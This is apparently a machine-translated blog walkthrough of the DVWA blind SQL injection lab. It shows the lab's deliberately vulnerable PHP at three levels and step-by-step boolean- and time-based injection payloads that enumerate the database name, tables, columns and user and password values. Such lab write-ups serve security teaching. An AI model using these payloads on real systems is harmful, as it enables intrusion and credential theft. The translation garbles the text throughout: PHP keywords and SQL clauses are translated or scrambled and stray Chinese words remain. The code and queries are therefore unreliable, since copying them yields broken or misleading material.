DVWA - Inyección SQL Ciega (SQL 盲 注)

Ciega SQL Introducción:

 Persianas, inyectados con la diferencia general es que, en general, los ataques de inyección pueden ver los resultados directamente a partir de la declaración de la inyección en la página, mientras que los atacantes ciegos a menudo no pueden obtener los resultados de la página de visualización, incluso si la inyección comunicado no tenemos ninguna manera de saber ejecución, dificultad y, por tanto, la inyección ciega que el promedio alto. Ciegos divide en tres categorías: Sobre la base de Boole de inyección SQL ciega , inyección SQL ciega basada en el tiempo , basado en un error de inyección SQL ciega .

 pensamiento pasos ciegos:

1 determina si existe la inyección, la inyección es un carácter o un numérico

2. adivinar el nombre de la base de datos actual

3. adivinar los nombres de las tablas de base de datos solución

4. Solución adivinar los nombres de los campos en la tabla

5. Los datos de la conjetura


Nivel bajo:

<? php 

si (isset ($ _GET [ ' Enviar ' ])) { 
     // Obtener el aporte 
    $ id = $ _GET [ ' ID ' ]; 

    // Comprobar base de datos de 
    $ getId = " nombre apellido SELECT nombre, apellidos FROM usuarios WHERE user_id = '$ id'; " ; 
    $ resultado = mysql_query ($ getId); // Se ha eliminado 'o mueren' a los errores de MySQL a suprimir 

    // Obtener resultados 
    $ num = @mysql_numrows ($ resultado); // suprime el carácter '@' errores 
    si ($ num>Comentarios para usuario final 
        echo ' <pre> existe ID de usuario en la base de datos </ pre>. ' ; 
    } 
    Demás { 
         // no se encontró usuario, por lo que la página no fue! 
        cabecera ($ _SERVER [ ' SERVER_PROTOCOL ' .] ' 404 no encontrado ' ); 

        // Feedback para usuario final 
        echo ' <pre> ID de usuario no se encuentra en la base de datos </ pre>. ' ; 
    } 

    Mysql_close (); 
}

 ?>

Se puede ver, el parámetro de Identificación por código de bajo nivel no hace ninguna comprobación, filtrando, hay vulnerabilidad de inyección SQL obvia

 

Existe ID de usuario en la base de datos. pantalla actual,

ID de usuario no se encuentra en la base de datos. Mostró la ausencia de

Método uno: sobre la base de las persianas de Boole

 1 determina si se inyecta, tipo de inyección

Entrada 1, existe salida

 

 

 Entrada 1 'y 1 = 1 #, existe salida

 

 

 Entrada 1 'y 1 = 2 #, la ausencia de salida

 

 

 Así que hay un personaje ciego.

2. Adivina el nombre de la base

 

Primera conjetura longitud del nombre de base de datos: 1 'y la longitud (base de datos ()) = 1 #, mostró la ausencia hasta el 1' y la longitud (base de datos ()) = 4 #, mostró la presencia de. . Longitud de la descripción nombre de biblioteca de 4

 

 

 Entonces supongo dicotomía el nombre de la base de datos.

 De entrada . 1 'y ASCII (substr (DATABSE (), 1,1))> # 88 , mostró la presencia de una descripción de un nombre de base de datos de caracteres ASCII valor es mayor que 88 ;

 Input . 1 'y ascii (substr (databse (), 1,1)) <# 110 , muestra la presencia de, un nombre de base de datos de descripción es un carácter ASCII valor de menos de 110;

 Hasta que adivinar el número exacto hasta el momento. Sabemos por el experimento, donde el primer valor es 100 ASCII, tabla ASCII para encontrar la letra correspondiente

 Entrada 1 'y ASCII (substr (base de datos (), 2,1))> # 88 - imagen para la segunda letra, etc., etc.

Repita los pasos anteriores para obtener una biblioteca denominada DVWA

3. adivinar los nombres de las tablas de base de datos solución

Tabla supongo que por primera vez el número de 1 'y (select count (nombre_tabla) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos ())> # 5, la ausencia de salida ausente

A continuación, 1 'y (select count (nombre_tabla) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos ())> # 2, la ausencia de salida ausente

1' y (select count (nombre_tabla) desde donde INFORMATION_SCHEMA.TABLES = base de datos () esquema_tabla), existe 输出 = 2 # 存在

Así que hay dos mesas, vamos a adivinar la longitud de la primera tabla

输入: 1' y la longitud (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 1))> 10 #, 输出 FALTA

使用 二分法 1' y la longitud (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde = base de datos () límite de 0,1), 1) esquema_tabla), 输出 existe> 5 #

 

Hasta - 1 'y la longitud (substr ( (select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 1)) = 9 #, existe salida, es decir, el primer nombre de la tabla es de 9 caracteres de longitud.

Ahora supongo que la primera letra de la primera tabla

1' y ascii (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 1,1))> 88 #

Hasta - 1 'y ascii (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 1,1)) = 103 #, es decir, correspondientes a las letras g

Entonces podríamos adivinar otras nueve letras, es de U, E, S, T, B, O, O, k, es decir, del libro de visitas .

 

 

Y una segunda conjetura mesa

1' y ascii (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 2,1))> 88 #

...

La segunda mesa, Usuarios

 

4. Adivina el nombre de la columna

Llevar a los usuarios directamente a la mesa, por ejemplo.

Adivinar el número de campos en la tabla 1 'y (select count (nombre_columna ) desde donde INFORMATION_SCHEMA.COLUMNS esquema_tabla = base de datos () y nombre_tabla =' usuarios) = 8 # ( se omite el paso intermedio) es el número 8

Cada usuario nombre de la tabla conjetura, de acuerdo con un proceso convencional, desde el primer campo comienza tabla de usuarios, su carácter de cada constituyente conjetura, para obtener un nombre de primer campo completa ... entonces el primer 2/3 / .. ./8 nombre del campo. Cuando un gran número de nombres de campo de tiempo más largo, si todavía está en la forma anterior por conjetura lado, se gastará más tiempo. Cuando la situación de tiempo limitado, y de hecho, algunos campos puede ser menor necesidad de obtener la posición del campo tampoco voy a hacer demasiado la atención, en primer lugar obtener varios campos que contienen información clave, tales como: nombre de usuario, contraseña ...

 

 

[Guess] sea salvo en los nombres de los campos de base de datos
Nombre de usuario: nombre de usuario / nombre_usuario / uname / u_name / usuario / nombre / ...
Contraseña: contraseña / pass_word / pwd / pass / ...

Así que nuestro comando puede ser 1 'y (select count (*) desde donde INFORMATION_SCHEMA.COLUMNS esquema_tabla = base de datos () y nombre_tabla =' usuarios y nombre_columna = 'usuario') = 1 #, existe salida

 ((*) Desde donde INFORMATION_SCHEMA.COLUMNS esquema_tabla = base de datos () y nombre_tabla = seleccionar la cuenta y 'usuarios' y nombre_columna = 'password') = 1 #, existe 输出 1'

Así podemos conocer la tabla de usuarios tiene usuario y contraseña. También puede intentar otra

 

Los valores de los campos en la tabla conjetura

El mismo uso dicotomía hacer, para escribir directamente al último paso:

valores de campo de nombre de usuario: 1 'y longitud (substr ((seleccione un usuario de los usuarios limitar 0,1), 1)) = 5 #, existe salida

- una descripción de la longitud de caracteres del campo valor en el campo de usuario = 5.

El valor del campo de la contraseña: 1 'y la longitud (substr ((seleccione contraseña de los usuarios limitar 0,1), 1)) = 32 #,

- una descripción de la longitud de caracteres de la campo de la contraseña, el valor de campo = 32 (md5 el número de contraseñas método de cifrado sustancialmente tanto tiempo utilizado puede ser guardado)

A continuación, utilice el nombre de usuario dicotomía conjetura campo valor :( usuario)

1 'y ascii (substr ((seleccione un usuario de los usuarios limitar 0,1), 1,1)) = xxx # (primer carácter)

1 'y ascii (substr ((seleccione un usuario de los usuarios limitar 0,1), 2,1)) = xxx # (segundo carácter)                                            

.....

Guess valores de los campos de contraseña contraseña) :(

1 'y ASCII (substr ((seleccione la contraseña de los usuarios limitan 0,1), 1,1)) = xxx # (primer carácter)

.....

 

Método dos: ciega basada en el tiempo

 

1 determina si existe la inyección, la inyección es un carácter o un numérico

 

Entrada 1 'y dormir (5) #, ver un retraso notable;

Entrada 1 y dormir (5) #, sin demora;

Indicando la presencia de un personaje basado en el tiempo de las persianas.

2. adivinar el nombre de la base de datos actual

(Método Guess descrito anteriormente tiene, directamente a los resultados): 1 'y si (longitud (base de datos ()) = 4, del sueño (5), 1) # retraso significativo, descripción nombre de base de datos de longitud es de 4 caracteres.

Dichotomy entonces supongo nombre de base de datos: 1 'y si (ascii (substr (base de datos (), 1,1)) = 100, del sueño (5), 1) # retraso significativo, se describe primero caracteres base de datos d.

Repita los pasos anteriores, la base de datos se puede llamar DVWA conjetura

3. adivinar los nombres de las tablas de base de datos solución

En primer lugar, supongamos que el número de tablas en una base de datos Solución: 1 'y si ((select count (nombre_tabla) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos ()) = 2, del sueño (5), 1) #, hay dos tablas descritas

La primera tabla a continuación, supongo longitud: 1 'y si (longitud (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 1)) = 9, del sueño (5), 1) #, una descripción de una longitud del nombre de la tabla 9

Dicotomía puede adivinar el nombre de la tabla.

4. Adivina los nombres de columna de la tabla de

O adivinar el número de usuarios que aparecen en la tabla: 1 'y si ((select count (nombre_columna) de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla =' usuarios) = 8, dormir (5), 1) #, un retraso significativo, lo que indica 8 columna

Entonces adivinar longitud de la primera nombre de la columna: 1 'y si (longitud (substr ((seleccione COLUMN_NAME de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla =' límite usuarios 0,1), 1)) = 7, del sueño (5), 1 ) # retrasó significativamente, lo que indica que la primera columna nombrada siete caracteres

A continuación, la dicotomía supongo. . .

5. Los datos de la conjetura

La misma dicotomía de adivinar, no hay proceso anterior.

(Debido a que demasiados comandos, sino también el éxito de la producción fue la misma, sin pantalla)

 

Nivel medio:

<? php 

si (isset ($ _POST [ ' Enviar ' ])) { 
     // Obtener el aporte 
    $ id = $ _POST [ ' ID ' ]; 
    $ id = mysql_real_escape_string ($ id); 

    // Comprobar base de datos de 
    $ getId = " nombre apellido SELECT nombre, apellidos FROM usuarios WHERE user_id = $ id; " ; 
    $ resultado = mysql_query ($ getId); // Se ha eliminado 'o mueren' a los errores de MySQL a suprimir 

    // Obtener resultados 
    $ num = @mysql_numrows ($ resultado); // Los '@' errores de carácter Suprime
    si ($ num> 0 ) { 
         // Feedback para el usuario final 
        de eco ' <pre> ID de usuario existe en la base de datos </ pre>. ' ; 
    } 
    Demás { 
         // Feedback para el usuario final 
        de eco ' <pre> ID de usuario no se encuentra en la base de datos </ pre>. ' ; 
    } 

    // mysql_close (); 
}

 ?>

Puede ser visto, código de nivel medio utilizando la función de los símbolos especiales mysql_real_escape_string escape, mientras que la página frontal proporcionado desplegable forma de selección, con la esperanza de controlar la entrada del usuario.

Podemos ver que esta situación es similar a la inyección de la mano anterior SQL, puede ser modificado por inyección de captura de Identificación

 

No les repetir aquí, puede hacer referencia al artículo anterior, así como de bajo nivel por encima de tutorial.

 

Alto nivel:

<? php 

si (isset ($ _COOKIE [ ' ID ' ])) { 
     // Obtener el aporte 
    $ id = $ _COOKIE [ ' ID ' ]; 

    // Comprobar base de datos de 
    $ getId = " nombre apellido SELECT nombre, apellidos FROM usuarios WHERE user_id = '$ id' LIMIT 1; " ; 
    $ resultado = mysql_query ($ getId); // Se ha eliminado 'o mueren' a los errores de MySQL a suprimir 

    // Obtener resultados 
    $ num = @mysql_numrows ($ resultado); // suprime el carácter '@' errores 
    si ($ num>// Feedback para usuario final 
        echo ' <pre> existe ID de usuario en la base de datos </ pre>. ' ; 
    } 
    Más { 
         // Podría dormir una cantidad aleatoria 
        si (rand ( 0 , 5 ) == 3 ) { 
            sueño (rand ( 2 , 4 )); 
        } 

        // no se encontró usuario, por lo que la página no fue! 
        cabecera ($ _SERVER [ ' SERVER_PROTOCOL ' .] ' 404 no encontrado ' ); 

        // Feedback para el usuario final
        echo ' <pre> ID de usuario no se encuentra en la base de datos </ pre>. ' ; 
    } 

    Mysql_close (); 
}

 ?>

Se puede ver, el código de alto nivel utilizando la cookie para pasar parámetros de identificación, cuando el resultado de la consulta SQL está vacía, se realiza la función del sueño (segundos), el propósito es interrumpir la ciega basada en el tiempo.

Mientras que la adición LÍMITE 1 en la instrucción de consulta SQL, con la esperanza de controlar la salida de un solo resultado. Sin embargo, podemos comentar que por #.

Al igual que la inyección de SQL anterior, pero la función del sueño aplicación del lado del servidor, hará que la precisión ciega basada en el tiempo se ve afectada, aquí sólo se puede utilizar en función de las persianas de Boole.

Bajo nivel hay un comando, se puede ver por sí mismo. .

 

Supongo que te gusta

Origin www.cnblogs.com/qi-yuan/p/12448248.html
Recomendado
Clasificación